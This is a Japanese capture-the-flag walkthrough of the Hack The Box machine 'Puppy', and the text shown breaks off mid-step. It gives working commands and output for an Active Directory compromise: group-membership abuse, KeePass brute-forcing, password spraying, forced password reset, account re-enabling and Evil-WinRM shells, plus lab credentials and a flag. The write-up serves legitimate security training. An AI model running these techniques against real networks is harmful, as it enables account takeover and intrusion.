- 本記事の概要
- ポートスキャン
- 名前解決のためのhostsファイル更新
- SMBアクセスによるファイル取得
- BloodHoundを用いたActive Directoryの環境を解析
- NetExecを用いたユーザー一覧確認
- BloodyADを用いたユーザーのグループ追加
- SMBを用いたDEVフォルダへのアクセス
- keepass4brute.shを用いたKeePassデータベースファイルのパスワード解析
- KeePassデータベースファイルの内容確認
- BloodyADを用いたユーザーのパスワード変更及び有効化
- Evil-WinRMを用いたadam.silverユーザー権限奪取
- Evil-WinRMを用いたsteph.cooperユーザー権限奪取
- 【参考】winPEASを用いたサーバの調査
- DPAPI(Data Protection API)の認証情報取得
- Evil-WinRMを用いたsteph.cooper_admユーザー権限奪取
- [補足] Guided ModeのQA
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのWindowsサーバの難易度Mediumのマシンである「Puppy」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) 名前解決のためのhostsファイル更新
(3) SMBアクセスによるファイル取得
(4) BloodHoundを用いたActive Directoryの環境を解析
(5) NetExecを用いたユーザー一覧確認
(6) BloodyADを用いたユーザーのグループ追加
(7) SMBを用いたDEVフォルダへのアクセス
(8) keepass4brute.shを用いたKeePassデータベースファイルのパスワード解析
(9) KeePassデータベースファイルの内容確認
(10) BloodyADを用いたユーザーのパスワード変更及び有効化
(11) Evil-WinRMを用いたadam.silverユーザー権限奪取
(12) Evil-WinRMを用いたsteph.cooperユーザー権限奪取
(13) 【参考】winPEASを用いたサーバの調査
(14) DPAPI(Data Protection API)の認証情報取得
(15) Evil-WinRMを用いたsteph.cooper_admユーザー権限奪取
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SMB(445/tcp)やWinRM(5985/tcp)などポートが応答がある。
また、ドメイン名が「puppy.htb」でホスト名が「DC」であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.70
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-05 02:42 EDT
Nmap scan report for 10.10.11.70
Host is up (0.26s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49891/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-10-05T13:45:27
|_ start_date: N/A
|_clock-skew: 7h00m38s
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 239.53 ms 10.10.14.1
2 239.63 ms 10.10.11.70
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 329.58 seconds名前解決のためのhostsファイル更新
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
※Kali Linux上で以下のコマンドを実行する。
$ echo '10.10.11.70 puppy.htb' | sudo tee -a /etc/hosts
$ echo '10.10.11.70 dc.puppy.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.70 puppy.htb」と「10.10.11.70 dc.puppy.htb」が出力されることを確認する。SMBアクセスによるファイル取得
(1) CrackMapExecの–sharesオプションを付けて、SMBの共有フォルダ一覧の表示を試みる。しかし、ユーザーを何も指定していないと拒否されてしまう。
※Kali Linux上で以下のコマンドを実行する。
# crackmapexec smb puppy.htb --shares
SMB puppy.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB puppy.htb 445 DC [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
(2) CrackMapExecを用いてlevi.jamesユーザーで共有フォルダ一覧を確認すると、DEVというフォルダあるが読み込み権限がない。
※Kali Linux上で以下のコマンドを実行する。
# crackmapexec smb puppy.htb -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB puppy.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB puppy.htb 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB puppy.htb 445 DC [+] Enumerated shares
SMB puppy.htb 445 DC Share Permissions Remark
SMB puppy.htb 445 DC ----- ----------- ------
SMB puppy.htb 445 DC ADMIN$ Remote Admin
SMB puppy.htb 445 DC C$ Default share
SMB puppy.htb 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB puppy.htb 445 DC IPC$ READ Remote IPC
SMB puppy.htb 445 DC NETLOGON READ Logon server share
SMB puppy.htb 445 DC SYSVOL READ Logon server shareBloodHoundを用いたActive Directoryの環境を解析
(1) BloodHoundを使用してActive Directoryの情報を閲覧できるように、Kali Linux上で環境準備をします。
※Kali Linux上で以下のコマンドを実行する。
$ sudo apt install -y neo4j
$ sudo neo4j start
$ sudo neo4j console
(2) ブラウザを起動して、「http://localhost:7474/」にアクセスすると接続情報を入力する画面が表示される。
(3) 「ユーザー名:neo4j」と「パスワード:neo4j」を入力して「Connect」をクリックする。
(4) 新しいパスワードを入力して、「Change Password」をクリックする。
(5) トップページが表示されることを確認する。
(6) Bloodhoundを用いてActive Directory環境を列挙する。
※Kali Linux上で以下のコマンドを実行する。
# bloodhound-python -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' -dc 'dc.puppy.htb' -c all -ns 10.10.11.70
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 05M 17S
(7) 取得したActive Directory環境のファイル一覧が格納されていることを確認する。
※Kali Linux上で以下のコマンドを実行する。
$ ls -l
-rw-r--r-- 1 root root 3820 Oct 8 11:03 20251008105813_computers.json
-rw-r--r-- 1 root root 24278 Oct 8 11:03 20251008105813_containers.json
-rw-r--r-- 1 root root 3512 Oct 8 11:03 20251008105813_domains.json
-rw-r--r-- 1 root root 5891 Oct 8 11:02 20251008105813_gpos.json
-rw-r--r-- 1 root root 84710 Oct 8 11:02 20251008105813_groups.json
-rw-r--r-- 1 root root 4960 Oct 8 11:02 20251008105813_ous.json
-rw-r--r-- 1 root root 23994 Oct 8 11:02 20251008105813_users.json
(8) BloodHoundを起動する。
※Kali Linux上で以下のコマンドを実行する。
$ wget https://github.com/SpecterOps/BloodHound-Legacy/releases/download/v4.3.1/BloodHound-linux-x64.zip
$ unzip BloodHound-linux-x64.zip
$ sudo ./BloodHound-linux-x64/BloodHound --no-sandbox
(9) BloodHoundのログイン画面が表示されることを確認するため、「ユーザー名:neo4j」と上記(6)で変更したパスワードを入力する。その後、「Login」をクリックする。
(10) ログインに成功し、BloodHoundの画面が表示される。
(11) ドラッグ&ドロップでADの環境ファイル(20251008105813_computers.json等)をBloodHoundに読み込ませる。
(12) 左上部の「levi.james」を入力して、「LEVI.JAMES@PUPPY.HTB」を表示する。
(13) 「LEVI.JAMES@PUPPY.HTB」のオブジェクトをクリックする。
(14) [Node Info] > [OUTBOUND OBJECT CONTROL] > [Group Delegated Object Control] をクリックする。
(15) levi.jamesユーザーが所属するHRグループには、DEVELOPERSグループに対するGenericWrite権限が付与されていることが分かる。その後、「DEVELOPERS@PUPPY.HTB」をクリックして、[GROUP MEMBERS] > [Direct Members]をクリックする。

(16) DEVELOPERSグループに所属しているアカウントを確認すると、「JAMIE.WILLIAMS」と「ADAM.SILVER」と「ANT.EDWARDS」の3個のアカウントが所属していることが分かる。
NetExecを用いたユーザー一覧確認
(1) NetExecを用いてドメインに所属しているユーザー一覧を確認する。
※Kali Linux上で以下のコマンドを実行する。
$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --rid-brute | grep -iE 'SidTypeUser' | grep -viE 'WINDOWS|\$' | awk '{print $6}' | awk -F'\\' '{print $2}'
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
(2) 取得したドメインに所属しているユーザー一覧をファイルに保存する。
※Kali Linux上で以下のコマンドを実行する。
$ vi usernames.txt
【usernames.txtの内容】
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
BloodyADを用いたユーザーのグループ追加
(1) BloodHoundで確認した結果で、levi.jamesユーザーが所属するHRグループには、DEVELOPERSグループに対するGenericWrite権限が付与されていることが分かっている。
(2) BloodyADを用いてlevi.jamesユーザーをDEVELOPERグループに所属させる。
※Kali Linux上で以下のコマンドを実行する。
$ bloodyAD --host 10.10.11.70 -d puppy.htb -u levi.james -p 'KingofAkron2025!' add groupMember "DEVELOPERS" "levi.james"
[+] levi.james added to DEVELOPER
SMBを用いたDEVフォルダへのアクセス
(1) levi.jamesユーザーでアクセスできる共有フォルダを確認すると、DEVフォルダにアクセスできることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ netexec smb puppy.htb -u levi.james -p KingofAkron2025! --shares
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC [*] Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
(2) levi.jamesユーザーでDEVフォルダにアクセスする。
※Kali Linux上で以下のコマンドを実行する。
$ smbclient \\\\puppy.htb\\DEV -U levi.james%KingofAkron2025!
Try "help" to get a list of possible commands.
smb: \>
(3) DEVフォルダにのファイル一覧を確認すると、パスワード管理ソフト(KeePass)のデータベースファイル(recovery.kdbx)があることが分かる。
※levi.jamesユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
smb: \> dir
. DR 0 Sun Mar 23 03:07:57 2025
.. D 0 Sat Mar 8 11:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 03:09:12 2025
Projects D 0 Sat Mar 8 11:53:36 2025
recovery.kdbx A 2677 Tue Mar 11 22:25:46 2025
5080575 blocks of size 4096. 1596364 blocks available
(4) パスワード管理ソフト(KeePass)のデータベースファイル(recovery.kdbx)をダウンロードする。
※levi.jamesユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (3.1 KiloBytes/sec) (average 3.1 KiloBytes/sec)
(5) SMBアクセスを終了する。
※levi.jamesユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
smb: \> exit
(6) keepassxcを用いてデータベースファイル(recovery.kdbx)を開く。
※Kali Linux上で以下のコマンドを実行する。
$ keepassxc recovery.kdbx
(7) データベースファイル(recovery.kdbx)のパスワードの入力画面が表示されるが、パスワードが分からない。
(8) keepass2johnを用いてパスワードを解析しようとすると、サポートされてない旨のエラーメッセージが表示される。
※Kali Linux上で以下のコマンドを実行する。
$ keepass2john recovery.kdbx
! recovery.kdbx : File version '40000' is currently not supported!
(9) john-the-ripperを使用するためにソフトウェアのインストール及びサービス起動をする。
※Kali Linux上で以下のコマンドを実行する。
$ sudo apt install snapd -y
$ sudo systemctl start snapd
$ sudo systemctl enable snapd
$ sudo snap install core snapd
$ sudo snap install john-the-ripper
(10) john-the-ripper.keepass2johnを用いてデータベースファイル(recovery.kdbx)の内容を確認する。
※Kali Linux上で以下のコマンドを実行する。
$ /snap/bin/john-the-ripper.keepass2john recovery.kdbx
recovery:$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9
keepass4brute.shを用いたKeePassデータベースファイルのパスワード解析
(1) keepass4bruteを実行するためにダウンロードする。
※Kali Linux上で以下のコマンドを実行する。
$ git clone https://github.com/r3nt0n/keepass4brute
$ sudo apt install keepassxc -y
(2) keepass4brute.shの内容を確認する。
※Kali Linux上で以下のコマンドを実行する。
$ cat keepass4brute.sh
#!/bin/bash
# https://github.com/r3nt0n/keepass4brute
# Name: keepass4brute.sh
# Author: r3nt0n
# Version: 1.0 (25/11/2022)
version="1.3"
/bin/echo -e "keepass4brute $version by r3nt0n"
/bin/echo -e "https://github.com/r3nt0n/keepass4brute\n"
if [ $# -ne 2 ]
then
/bin/echo "Usage $0 <kdbx-file> <wordlist>"
exit 2
fi
dep="keepassxc-cli"
command -v $dep >/dev/null 2>&1 || { /bin/echo >&2 "Error: $dep not installed. Aborting."; exit 1; }
n_total=$( wc -l < $2 )
start_time=$(date +%s)
IFS=''
while read -r line; do
n_tested=$((n_tested + 1))
current_time=$(date +%s)
elapsed_time=$((current_time - start_time))
if [ $elapsed_time -gt 0 ]; then
attempts_per_minute=$((n_tested * 60 / elapsed_time))
remaining_attempts=$((n_total - n_tested))
estimated_time_remaining_seconds=$((remaining_attempts * 60 / attempts_per_minute))
estimated_time_remaining_minutes=$((estimated_time_remaining_seconds / 60))
estimated_time_remaining_seconds=$((estimated_time_remaining_seconds % 60))
estimated_time_remaining_hours=$((estimated_time_remaining_minutes / 60))
estimated_time_remaining_minutes=$((estimated_time_remaining_minutes % 60))
estimated_time_remaining_days=$((estimated_time_remaining_hours / 24))
estimated_time_remaining_hours=$((estimated_time_remaining_hours % 24))
estimated_time_remaining_weeks=$((estimated_time_remaining_days / 7))
estimated_time_remaining_days=$((estimated_time_remaining_days % 7))
if [ $estimated_time_remaining_weeks -gt 0 ]; then
estimated_time_remaining="$estimated_time_remaining_weeks weeks, $estimated_time_remaining_days days"
elif [ $estimated_time_remaining_days -gt 0 ]; then
estimated_time_remaining="$estimated_time_remaining_days days, $estimated_time_remaining_hours hours"
elif [ $estimated_time_remaining_hours -gt 0 ]; then
estimated_time_remaining="$estimated_time_remaining_hours hours, $estimated_time_remaining_minutes minutes"
elif [ $estimated_time_remaining_minutes -gt 0 ]; then
estimated_time_remaining="$estimated_time_remaining_minutes minutes, $estimated_time_remaining_seconds seconds"
else
estimated_time_remaining="$estimated_time_remaining_seconds seconds"
fi
else
attempts_per_minute=0
estimated_time_remaining="Calculating..."
fi
/bin/echo -e "\e[2K\r[+] Words tested: $n_tested/$n_total - Attempts per minute: $attempts_per_minute - Estimated time remaining: $estimated_time_remaining"
/bin/echo -e "\e[2K\r[+] Current attempt: $line"
/bin/echo $line | keepassxc-cli open $1 &> /dev/null
if [ $? -eq 0 ]
then
/bin/echo -ne "\n"
/bin/echo "[*] Password found: $line"; exit 0;
fi
/bin/echo -ne "\e[2A"
done < $2
/bin/echo -ne "\n"
/bin/echo "[!] Wordlist exhausted, no match found"; exit 3;
(3) keepass4brute.shを用いてKeePassデータベースファイル(recovery.kdbx)のパスワード解析をすると、パスワードが「liverpool」であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ ./keepass4brute/keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
![]()
GitHub - r3nt0n/keepass4brute: Bruteforce Keepass databases (KDBX 4.x format)Bruteforce Keepass databases (KDBX 4.x format). Contribute to r3nt0n/keepass4brute development by creating an account on GitHub.
[+] Words tested: 36/14344392 - Attempts per minute: 27 - Estimated time remaining: 52 weeks, 4 days
[+] Current attempt: liverpool
[*] Password found: liverpoolKeePassデータベースファイルの内容確認
(1) keepassxcを用いてデータベースファイル(recovery.kdbx)を開く。
※Kali Linux上で以下のコマンドを実行する。
$ keepassxc recovery.kdbx
(2) データベースファイル(recovery.kdbx)のパスワードの入力画面が表示されるため、「liverpool」を入力する。その後、「Unlock」をクリックする。
(3) データベースファイル(recovery.kdbx)の内容が表示されることを確認する。
(4) keepassxc-cliを用いてデータベースファイル(recovery.kdbx)の内容をファイルに書き込む。
※Kali Linux上で以下のコマンドを実行する。
$ echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx > output.csv
(5) データベースファイル(recovery.kdbx)の内容を確認すると、ユーザー名(Username)やパスワード(Password)などが記載されていることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ cat output.csv
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb","","","0","2025-03-10T08:57:58Z","2025-03-10T08:57:01Z"
"Root","ADAM SILVER","","HJKL2025!","puppy.htb","","","0","2025-03-10T09:01:02Z","2025-03-10T08:58:07Z"
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb","","","0","2025-03-10T09:00:02Z","2025-03-10T08:58:46Z"
"Root","STEVE TUCKER","","Steve2025!","puppy.htb","","","0","2025-03-10T09:03:48Z","2025-03-10T09:01:26Z"
"Root","SAMUEL BLAKE","","liverpool","puppy.htb","","","0","2025-10-15T09:45:54Z","2025-03-10T09:02:03Z"
(6) データベースファイル(recovery.kdbx)に記載されているパスワード(Password)の一覧をファイルに保存する。
※Kali Linux上で以下のコマンドを実行する。
$ cat output.csv | cut -f 4 -d "," | tail -n 5 | sed -e "s/^\"//" | sed -e "s/\"$//" > passwords.txt
$ cat passwords.txt
JamieLove2025!
HJKL2025!
Antman2025!
Steve2025!
liverpool
(7) ユーザー名一覧のファイル(usernames.txt)とパスワード一覧のファイル(passwords.txt)を用いてSMPアクセスができるユーザー名とパスワードの組み合わせを調査する。結果を確認すると、ant.edwardsユーザーのパスワードが「Antman2025!」であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ netexec smb puppy.htb -u usernames.txt -p passwords.txt --continue-on-success
ーーー(省略)ーーー
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\jamie.williams:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper:Antman2025! STATUS_LOGON_FAILURE
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\steph.cooper_adm:Antman2025! STATUS_LOGON_FAILURE
ーーー(省略)ーーー

BloodyADを用いたユーザーのパスワード変更及び有効化
(1) BloodHoundを用いてant.edwardsユーザーを検索し、「ANT.EWARDS@PUPPY.HTB」のオブジェクトをクリックする。
(2) [Node Info] > [OUTBOUND OBJECT CONTROL] > [Group Delegated Object Control] をクリックする。
(3) ant.edwardsユーザーが所属しているSENIOR DEVSグループには、adam.silverユーザーに対してGenericAll権限があることが分かる。
(4) 「ADAM.SILVER@PUPPY.HTB」のオブジェクトをクリックして、[Node Info] > [NODE PROPERTIES] > [Enable] の値を確認すると、「False」になっていることが分かる。
(5) bloodyADを用いてadam.silverユーザーのパスワードを変更する。
※Kali Linux上で以下のコマンドを実行する。
$ bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' set password 'adam.silver' 'Thisisapassword123!'
[+] Password changed successfully!
(6) adam.silverユーザーでSMBアクセスをすると、STATUS_ACCOUNT_DISABLEDというエラーメッセージが表示されログインできない。
※Kali Linux上で以下のコマンドを実行する。
$ netexec smb puppy.htb -u adam.silver -p 'Thisisapassword123!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:Thisisapassword123! STATUS_ACCOUNT_DISABLED
(7) bloodyADを用いてadam.silverユーザーを有効化する。
※Kali Linux上で以下のコマンドを実行する。
$ bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac 'adam.silver' -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
(8) netexecを用いてadam.silverユーザーでSMBアクセスできることを確認する。
※Kali Linux上で以下のコマンドを実行する。
$ netexec smb puppy.htb -u adam.silver -p 'Thisisapassword123!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\adam.silver:Thisisapassword123!
Evil-WinRMを用いたadam.silverユーザー権限奪取
(1) adam.silverユーザーの認証情報を用いてEvil-WinRMを実行すると、adam.silverユーザーのプロンプトが表示される。
※Evil-WinRMとは、Windows Remote Managementのサービスをリモートから実行し、任意コマンドが実行できるプログラム
※Kali Linux上で以下のコマンドを実行する。
$ evil-winrm -u adam.silver -p 'Thisisapassword123!' -i puppy.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>
(2) 一般ユーザー用のフラグファイルの内容を確認する。
※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ cd "C:\Users\adam.silver\Desktop"
$ type user.txt
95c3c3eb10da03884ba121d24a1b7d61Evil-WinRMを用いたsteph.cooperユーザー権限奪取
(1) 攻撃対象のマシン(Puppy)上のCドライブ配下のフォルダ/ファイル一覧を確認すると、Backupsフォルダなどがあることが分かる。
※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ cd "C:\"
$ dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 7/24/2025 12:25 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 3/8/2025 8:52 AM Users
d----- 5/13/2025 4:40 PM Windows
(2) Backupsフォルダ配下の内容を確認すると、「site-backup-2024-12-30.zip」というファイルがあることが分かる。
※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ cd "C:\Backups"
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
(3) 「site-backup-2024-12-30.zip」ファイルをダウンロードする。
※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ download "C:/Backups/site-backup-2024-12-30.zip"
Info: Downloading C:/Backups/site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Info: Download successful!
(4) SMBアクセスを終了する。
※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ exit
(5) 「site-backup-2024-12-30.zip」ファイルを解凍する。
※Kali Linux上で以下のコマンドを実行する。
$ unzip site-backup-2024-12-30.zip
Archive: site-backup-2024-12-30.zip
creating: puppy/
inflating: puppy/nms-auth-config.xml.bak
creating: puppy/images/
inflating: puppy/images/banner.jpg
inflating: puppy/images/jamie.jpg
inflating: puppy/images/antony.jpg
inflating: puppy/images/adam.jpg
inflating: puppy/images/Levi.jpg
creating: puppy/assets/
creating: puppy/assets/js/
inflating: puppy/assets/js/jquery.scrolly.min.js
inflating: puppy/assets/js/util.js
inflating: puppy/assets/js/breakpoints.min.js
inflating: puppy/assets/js/jquery.min.js
inflating: puppy/assets/js/main.js
inflating: puppy/assets/js/jquery.dropotron.min.js
inflating: puppy/assets/js/browser.min.js
creating: puppy/assets/webfonts/
inflating: puppy/assets/webfonts/fa-regular-400.eot
inflating: puppy/assets/webfonts/fa-solid-900.svg
inflating: puppy/assets/webfonts/fa-solid-900.ttf
inflating: puppy/assets/webfonts/fa-solid-900.woff2
inflating: puppy/assets/webfonts/fa-brands-400.svg
inflating: puppy/assets/webfonts/fa-solid-900.woff
inflating: puppy/assets/webfonts/fa-solid-900.eot
inflating: puppy/assets/webfonts/fa-regular-400.ttf
extracting: puppy/assets/webfonts/fa-regular-400.woff2
inflating: puppy/assets/webfonts/fa-regular-400.svg
inflating: puppy/assets/webfonts/fa-brands-400.eot
inflating: puppy/assets/webfonts/fa-brands-400.woff
inflating: puppy/assets/webfonts/fa-brands-400.ttf
inflating: puppy/assets/webfonts/fa-brands-400.woff2
inflating: puppy/assets/webfonts/fa-regular-400.woff
creating: puppy/assets/css/
inflating: puppy/assets/css/main.css
creating: puppy/assets/css/images/
inflating: puppy/assets/css/images/overlay.png
inflating: puppy/assets/css/images/highlight.png
inflating: puppy/assets/css/fontawesome-all.min.css
creating: puppy/assets/sass/
inflating: puppy/assets/sass/main.scss
creating: puppy/assets/sass/libs/
inflating: puppy/assets/sass/libs/_vendor.scss
inflating: puppy/assets/sass/libs/_functions.scss
inflating: puppy/assets/sass/libs/_html-grid.scss
inflating: puppy/assets/sass/libs/_vars.scss
inflating: puppy/assets/sass/libs/_breakpoints.scss
inflating: puppy/assets/sass/libs/_mixins.scss
inflating: puppy/index.html
(6) 「site-backup-2024-12-30.zip」中の「nms-auth-config.xml.bak」の内容を確認すると、steph.cooperユーザーのパスワードが「ChefSteph2025!」であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ cat puppy/nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
(7) steph.cooperユーザーの認証情報を用いてEvil-WinRMを実行すると、steph.cooperユーザーのプロンプトが表示される。
※Kali Linux上で以下のコマンドを実行する。
$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
